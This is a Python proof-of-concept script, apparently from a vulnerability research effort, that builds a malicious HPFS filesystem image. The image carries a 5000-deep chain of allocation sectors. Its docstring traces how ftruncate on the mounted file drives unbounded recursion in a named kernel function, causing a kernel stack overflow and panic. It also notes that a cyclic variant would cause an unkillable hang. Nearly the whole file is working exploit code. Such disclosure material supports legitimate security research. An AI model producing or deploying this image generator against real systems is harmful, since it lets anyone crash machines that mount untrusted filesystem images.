DF-3101 / craft_img.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 | #!/usr/bin/env python3 """ DF-3101 — crafted HPFS image with a deep (non-cyclic) AB_NODES AlSec chain to blow the kernel stack through unbounded recursion in hpfs_truncatealblk (sys/vfs/hpfs/hpfs_alsubr.c:741-888). Path (all in-kernel): ftruncate(fd, 0) -> hpfs_setattr (hpfs_vnops.c:559-569; va_size < fn_size) -> hpfs_truncate (hpfs_subr.c:774) -> hpfs_truncatealblk(hpmp, &fn_ab, newblen=0, &pf) alblk has AB_NODES; the while condition while (abp->ab_busycnt && (bn <= anp->an_nextoff)) is ALWAYS true for bn=0 (an_nextoff is u32 >= 0), so every level breads the an_lsn AlSec and recurses (alsubr.c:770) — with no depth limit and no visited-set. Each level holds its buffer locked, so a *cyclic* chain self-deadlocks on the buffer lock (unkillable hang); a deep *acyclic* chain overflows the kernel stack -> guard-page fault in kernel mode -> panic. Chain: fnode 0x48 -> AlSec A1 -> A2 -> ... -> A5000 (all AB_NODES, an[0].an_nextoff=0xFFFFFFFF), A5000 is an empty LEAF (busycnt=0). Image: 0x900 sectors (~1.15 MB). Layout as per DF-0857 skeleton plus AlSec chain at sectors 0x50 .. 0x50+5000-1. """ import struct, sys SECTOR = 512 NCHAIN = 5000 IMGSEC = 0x50 + NCHAIN + 16 SU_MAGIC = 0xFA53E9C5F995E849 SP_MAGIC = 0xFA5229C5F9911849 FN_MAGIC = 0xF7E40AAE D_MAGIC = 0x77E40AAE AS_MAGIC = 0x37E40AAE AB_NODES = 0x80 FN_OFF_MAGIC, FN_OFF_NAMELEN, FN_OFF_NAME = 0x00, 0x10, 0x11 FN_OFF_PARENT, FN_OFF_FLAG, FN_OFF_AB, FN_OFF_ABD, FN_OFF_SIZE = \ 0x20, 0x3B, 0x3C, 0x44, 0xA4 AB_OFF_FLAG, AB_OFF_FREECNT, AB_OFF_BUSYCNT, AB_OFF_FREEOFF = 0, 4, 5, 6 # struct alsec: as_magic u32, as_self u32, as_parent u32, as_ab(alblk_t 8), # as_abd[0x1E0] AS_OFF_AB = 0x0C AS_OFF_ABD = 0x14 def build(outpath): img = bytearray(IMGSEC * SECTOR) def wr32(o, v): struct.pack_into('<I', img, o, v & 0xFFFFFFFF) def wr64(o, v): struct.pack_into('<Q', img, o, v & 0xFFFFFFFFFFFFFFFF) def wr16(o, v): struct.pack_into('<H', img, o, v & 0xFFFF) def wr8(o, v): img[o] = v & 0xFF img[0] = 0xEB wr16(SECTOR - 2, 0xAA55) su = 0x10 * SECTOR wr64(su + 0, SU_MAGIC); wr8(su + 8, 2) wr32(su + 12, 0x20) # su_rootfno wr32(su + 16, IMGSEC) # su_btotal wr32(su + 20, 0) wr32(su + 24, 0x30); wr32(su + 28, 0x30) wr64(0x11 * SECTOR, SP_MAGIC) wr32(0x30 * SECTOR, 0x38) # bitmap dir -> first bitmap sector bm = 0x38 * SECTOR # 8 bitmap sectors cover 0x8000 sect for i in range(IMGSEC): # mark all metadata+chain used b = bm + (i >> 3) if b < len(img): img[b] &= ~(1 << (i & 7)) rf = 0x20 * SECTOR wr32(rf + FN_OFF_MAGIC, FN_MAGIC) wr8(rf + FN_OFF_NAMELEN, 1); img[rf + FN_OFF_NAME] = ord('.') wr32(rf + FN_OFF_PARENT, 0x20) wr8(rf + FN_OFF_FLAG, 1) # VDIR img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0 img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7 img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12) wr32(rf + FN_OFF_ABD + 0, 0); wr32(rf + FN_OFF_ABD + 4, 1) wr32(rf + FN_OFF_ABD + 8, 0x40) wr32(rf + FN_OFF_SIZE, 4 * SECTOR) db = 0x40 * SECTOR wr32(db + 0, D_MAGIC); wr32(db + 4, 0x50); wr32(db + 8, 0) wr32(db + 12, 0x20); wr32(db + 16, 0x40) name = b'FILE' dep = db + 20 reclen = ((0x2f + len(name)) + 3) & ~3 wr16(dep + 0x00, reclen); wr16(dep + 0x02, 0) wr32(dep + 0x04, 0x48) wr64(dep + 0x08, 0); wr32(dep + 0x10, 0x10000) wr64(dep + 0x18, 0); wr64(dep + 0x20, 0); wr32(dep + 0x28, 0) img[dep + 0x2e] = len(name) for i, c in enumerate(name): img[dep + 0x2f + i] = c dep2 = dep + reclen wr16(dep2 + 0x00, 4 * SECTOR - (dep2 - db)) wr16(dep2 + 0x02, 0x08) wr32(db + 4, (dep2 + 4) - db) ff = 0x48 * SECTOR wr32(ff + FN_OFF_MAGIC, FN_MAGIC) wr32(ff + FN_OFF_PARENT, 0x20) wr8(ff + FN_OFF_NAMELEN, 4) img[ff + FN_OFF_NAME:ff + FN_OFF_NAME + 4] = b'FILE' wr8(ff + FN_OFF_FLAG, 0) # VREG # root alblk = AB_NODES with one alnode: nextoff=0xFFFFFFFF -> chain img[ff + FN_OFF_AB + AB_OFF_FLAG] = AB_NODES img[ff + FN_OFF_AB + AB_OFF_FREECNT] = 0xC img[ff + FN_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(ff + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 8) wr32(ff + FN_OFF_ABD + 0, 0xFFFFFFFF) # an_nextoff (>= any bn) wr32(ff + FN_OFF_ABD + 4, 0x50) # an_lsn -> AlSec A1 wr32(ff + FN_OFF_SIZE, 0x10000) # fn_size (so truncate shrinks) a1 = 0x50 for k in range(NCHAIN): lsn = a1 + k nxt = lsn + 1 o = lsn * SECTOR wr32(o + 0, AS_MAGIC) wr32(o + 4, lsn) # as_self wr32(o + 8, lsn - 1) # as_parent (unused by kernel walk) if k == NCHAIN - 1: # tail: empty LEAF alblk -> recursion bottoms out img[o + AS_OFF_AB + AB_OFF_FLAG] = 0 img[o + AS_OFF_AB + AB_OFF_FREECNT] = 0x28 img[o + AS_OFF_AB + AB_OFF_BUSYCNT] = 0 wr16(o + AS_OFF_AB + AB_OFF_FREEOFF, 8) else: img[o + AS_OFF_AB + AB_OFF_FLAG] = AB_NODES img[o + AS_OFF_AB + AB_OFF_FREECNT] = 0x28 img[o + AS_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(o + AS_OFF_AB + AB_OFF_FREEOFF, 8 + 8) wr32(o + AS_OFF_ABD + 0, 0xFFFFFFFF) # an_nextoff wr32(o + AS_OFF_ABD + 4, nxt) # an_lsn -> next AlSec with open(outpath, 'wb') as f: f.write(img) print("wrote %s: %d sectors, chain depth %d" % (outpath, IMGSEC, NCHAIN)) if __name__ == '__main__': build(sys.argv[1] if len(sys.argv) > 1 else 'df3101.img') |